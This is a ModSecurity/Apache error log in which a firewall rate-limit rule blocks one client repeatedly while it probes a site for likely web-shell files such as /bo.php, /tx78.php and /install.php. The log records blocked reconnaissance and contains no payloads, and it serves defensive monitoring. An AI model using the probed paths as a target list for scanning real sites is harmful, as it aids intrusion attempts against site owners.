[Sun Mar 29 23:21:11.736417 2026] [:error] [pid 23250:tid 23260] [client 68.155.145.150:12123] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "aclDZ5xrpj-dQjy1cvoVFgAAAkg"]
[Sun Mar 29 23:21:12.298535 2026] [:error] [pid 23284:tid 23290] [client 68.155.145.150:12124] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "aclDaIzBujdPHsq7wyTijwAAAoQ"]
[Sun Mar 29 23:21:12.880003 2026] [:error] [pid 32257:tid 32324] [client 68.155.145.150:12121] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "aclDaCE3TArOFrUtgWpnMwAAAIY"]
[Sun Mar 29 23:21:13.337829 2026] [:error] [pid 32257:tid 32333] [client 68.155.145.150:12251] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "aclDaSE3TArOFrUtgWpnNQAAAI8"]
[Sun Mar 29 23:21:13.803888 2026] [:error] [pid 23284:tid 23303] [client 68.155.145.150:12226] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bo.php"] [unique_id "aclDaYzBujdPHsq7wyTilQAAApE"]
[Sun Mar 29 23:21:14.270926 2026] [:error] [pid 23284:tid 23290] [client 68.155.145.150:12113] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bo.php"] [unique_id "aclDaozBujdPHsq7wyTimgAAAoQ"]
[Sun Mar 29 23:21:14.777981 2026] [:error] [pid 23284:tid 23300] [client 68.155.145.150:12167] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bo.php"] [unique_id "aclDaozBujdPHsq7wyTinwAAAo4"]
[Sun Mar 29 23:21:15.322352 2026] [:error] [pid 32255:tid 32303] [client 68.155.145.150:12190] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bo.php"] [unique_id "aclDa2nfn-AtRoMbquwVSgAAAEw"]
[Sun Mar 29 23:21:15.739456 2026] [:error] [pid 32255:tid 32304] [client 68.155.145.150:12111] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aclDa2nfn-AtRoMbquwVTgAAAE0"]
[Sun Mar 29 23:21:16.163406 2026] [:error] [pid 32255:tid 32296] [client 68.155.145.150:12228] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aclDbGnfn-AtRoMbquwVUgAAAEU"]
[Sun Mar 29 23:21:16.554268 2026] [:error] [pid 32257:tid 32331] [client 68.155.145.150:12097] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aclDbCE3TArOFrUtgWpnPQAAAI0"]
[Sun Mar 29 23:21:16.984463 2026] [:error] [pid 32257:tid 32319] [client 68.155.145.150:12168] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aclDbCE3TArOFrUtgWpnPwAAAIE"]
[Sun Mar 29 23:21:17.417338 2026] [:error] [pid 32257:tid 32338] [client 68.155.145.150:12200] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aclDbSE3TArOFrUtgWpnQAAAAJQ"]
[Sun Mar 29 23:21:17.892652 2026] [:error] [pid 32257:tid 32323] [client 68.155.145.150:12214] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aclDbSE3TArOFrUtgWpnRwAAAIU"]
[Sun Mar 29 23:21:18.285367 2026] [:error] [pid 32257:tid 32342] [client 68.155.145.150:12264] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aclDbiE3TArOFrUtgWpnSwAAAJg"]
[Sun Mar 29 23:21:18.713961 2026] [:error] [pid 32255:tid 32300] [client 68.155.145.150:12229] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aclDbmnfn-AtRoMbquwVYAAAAEk"]
[Sun Mar 29 23:21:19.222482 2026] [:error] [pid 32257:tid 32334] [client 68.155.145.150:12181] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "aclDbyE3TArOFrUtgWpnUAAAAJA"]
[Sun Mar 29 23:21:19.722503 2026] [:error] [pid 32257:tid 32337] [client 68.155.145.150:12206] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "aclDbyE3TArOFrUtgWpnVQAAAJM"]
[Sun Mar 29 23:21:20.158708 2026] [:error] [pid 23250:tid 23270] [client 68.155.145.150:12197] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "aclDcJxrpj-dQjy1cvoVIgAAAlI"]
[Sun Mar 29 23:21:20.636631 2026] [:error] [pid 32255:tid 32298] [client 68.155.145.150:12032] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "aclDcGnfn-AtRoMbquwVZAAAAEc"]
[Sun Mar 29 23:21:21.078606 2026] [:error] [pid 32255:tid 32304] [client 68.155.145.150:12221] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "aclDcWnfn-AtRoMbquwVZwAAAE0"]
[Sun Mar 29 23:21:21.491849 2026] [:error] [pid 32255:tid 32310] [client 68.155.145.150:12242] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "aclDcWnfn-AtRoMbquwVagAAAFM"]
[Sun Mar 29 23:21:21.980478 2026] [:error] [pid 32255:tid 32294] [client 68.155.145.150:12136] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "aclDcWnfn-AtRoMbquwVcQAAAEM"]
[Sun Mar 29 23:21:22.540988 2026] [:error] [pid 23284:tid 23291] [client 68.155.145.150:12149] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "aclDcozBujdPHsq7wyTisAAAAoU"]
[Sun Mar 29 23:21:23.236282 2026] [:error] [pid 23167:tid 23193] [client 68.155.145.150:12232] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "aclDcxIAHJCFaHff3_fWpQAAAdc"]
[Sun Mar 29 23:21:23.740142 2026] [:error] [pid 23284:tid 23294] [client 68.155.145.150:12209] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "aclDc4zBujdPHsq7wyTiugAAAog"]
[Sun Mar 29 23:21:24.184370 2026] [:error] [pid 23284:tid 23290] [client 68.155.145.150:12216] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "aclDdIzBujdPHsq7wyTivgAAAoQ"]
[Sun Mar 29 23:21:24.697904 2026] [:error] [pid 23168:tid 23201] [client 68.155.145.150:12286] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "aclDdGP8p0yRL8ot_2-6bwAAAgQ"]
[Sun Mar 29 23:21:25.298128 2026] [:error] [pid 32257:tid 32326] [client 68.155.145.150:12138] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "aclDdSE3TArOFrUtgWpnXgAAAIg"]
[Sun Mar 29 23:21:25.749637 2026] [:error] [pid 23137:tid 23141] [client 68.155.145.150:12081] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "aclDdRaWQa7LdZ_qGFYJggAAAYI"]
[Sun Mar 29 23:22:30.912202 2026] [:error] [pid 32254:tid 32271] [client 68.155.145.150:12210] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amp.php"] [unique_id "aclDtqug2IHuyGgCTn9l0gAAAAc"]
[Sun Mar 29 23:22:31.356801 2026] [:error] [pid 32257:tid 32340] [client 68.155.145.150:12164] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amp.php"] [unique_id "aclDtyE3TArOFrUtgWpoBAAAAJY"]
[Sun Mar 29 23:22:31.902595 2026] [:error] [pid 32255:tid 32309] [client 68.155.145.150:12159] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amp.php"] [unique_id "aclDt2nfn-AtRoMbquwWKwAAAFI"]
[Sun Mar 29 23:22:32.467468 2026] [:error] [pid 23284:tid 23309] [client 68.155.145.150:12182] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amp.php"] [unique_id "aclDuIzBujdPHsq7wyTjpwAAApc"]
[Sun Mar 29 23:22:33.107473 2026] [:error] [pid 32359:tid 32373] [client 68.155.145.150:12047] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws75.php"] [unique_id "aclDuQMb8G3UzfQP3Wg7JwAAAMw"]
[Sun Mar 29 23:22:33.596859 2026] [:error] [pid 32255:tid 32295] [client 68.155.145.150:12263] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws75.php"] [unique_id "aclDuWnfn-AtRoMbquwWMgAAAEQ"]
[Sun Mar 29 23:22:34.250847 2026] [:error] [pid 8818:tid 8833] [client 68.155.145.150:12151] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws75.php"] [unique_id "aclDuiCDvotZNSF0FBrzgQAAAUs"]
[Sun Mar 29 23:22:34.816046 2026] [:error] [pid 23168:tid 23207] [client 68.155.145.150:12133] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws75.php"] [unique_id "aclDumP8p0yRL8ot_2-60QAAAgo"]
[Sun Mar 29 23:22:35.288272 2026] [:error] [pid 23168:tid 23206] [client 68.155.145.150:12166] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aclDu2P8p0yRL8ot_2-60wAAAgk"]
[Sun Mar 29 23:22:35.837999 2026] [:error] [pid 23168:tid 23201] [client 68.155.145.150:12128] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aclDu2P8p0yRL8ot_2-61AAAAgQ"]
[Sun Mar 29 23:22:36.275334 2026] [:error] [pid 23168:tid 23202] [client 68.155.145.150:12099] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aclDvGP8p0yRL8ot_2-61wAAAgU"]
[Sun Mar 29 23:22:36.782764 2026] [:error] [pid 23284:tid 23295] [client 68.155.145.150:12201] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aclDvIzBujdPHsq7wyTjtQAAAok"]
[Sun Mar 29 23:22:37.222336 2026] [:error] [pid 32359:tid 32370] [client 68.155.145.150:12219] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maul.php"] [unique_id "aclDvQMb8G3UzfQP3Wg7KQAAAMk"]
[Sun Mar 29 23:22:37.654730 2026] [:error] [pid 23168:tid 23204] [client 68.155.145.150:12122] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maul.php"] [unique_id "aclDvWP8p0yRL8ot_2-62wAAAgc"]
[Sun Mar 29 23:22:38.375858 2026] [:error] [pid 23168:tid 23203] [client 68.155.145.150:11976] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maul.php"] [unique_id "aclDvmP8p0yRL8ot_2-64gAAAgY"]
[Sun Mar 29 23:22:38.794250 2026] [:error] [pid 23284:tid 23286] [client 68.155.145.150:12148] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maul.php"] [unique_id "aclDvozBujdPHsq7wyTjugAAAoA"]
[Sun Mar 29 23:22:39.295593 2026] [:error] [pid 23167:tid 23190] [client 68.155.145.150:12154] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lowpr.php"] [unique_id "aclDvxIAHJCFaHff3_fW4AAAAdQ"]
[Sun Mar 29 23:22:39.766563 2026] [:error] [pid 23284:tid 23305] [client 68.155.145.150:12175] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lowpr.php"] [unique_id "aclDv4zBujdPHsq7wyTjwgAAApM"]
[Sun Mar 29 23:22:40.490746 2026] [:error] [pid 23137:tid 23141] [client 68.155.145.150:12244] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lowpr.php"] [unique_id "aclDwBaWQa7LdZ_qGFYJrwAAAYI"]
[Sun Mar 29 23:22:41.018943 2026] [:error] [pid 23284:tid 23290] [client 68.155.145.150:12275] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lowpr.php"] [unique_id "aclDwYzBujdPHsq7wyTjyAAAAoQ"]
[Sun Mar 29 23:22:41.743955 2026] [:error] [pid 23284:tid 23288] [client 68.155.145.150:12258] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "aclDwYzBujdPHsq7wyTjzwAAAoI"]
[Sun Mar 29 23:22:42.251192 2026] [:error] [pid 23284:tid 23308] [client 68.155.145.150:12117] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "aclDwozBujdPHsq7wyTj1AAAApY"]
[Sun Mar 29 23:22:42.744287 2026] [:error] [pid 32257:tid 32337] [client 68.155.145.150:12199] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "aclDwiE3TArOFrUtgWpoHQAAAJM"]
[Sun Mar 29 23:22:43.370984 2026] [:error] [pid 23284:tid 23305] [client 68.155.145.150:12109] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "aclDw4zBujdPHsq7wyTj2gAAApM"]
[Sun Mar 29 23:22:43.992694 2026] [:error] [pid 32254:tid 32272] [client 68.155.145.150:12252] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "aclDw6ug2IHuyGgCTn9l1gAAAAg"]
[Sun Mar 29 23:22:44.434129 2026] [:error] [pid 32257:tid 32338] [client 68.155.145.150:12215] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "aclDxCE3TArOFrUtgWpoIwAAAJQ"]
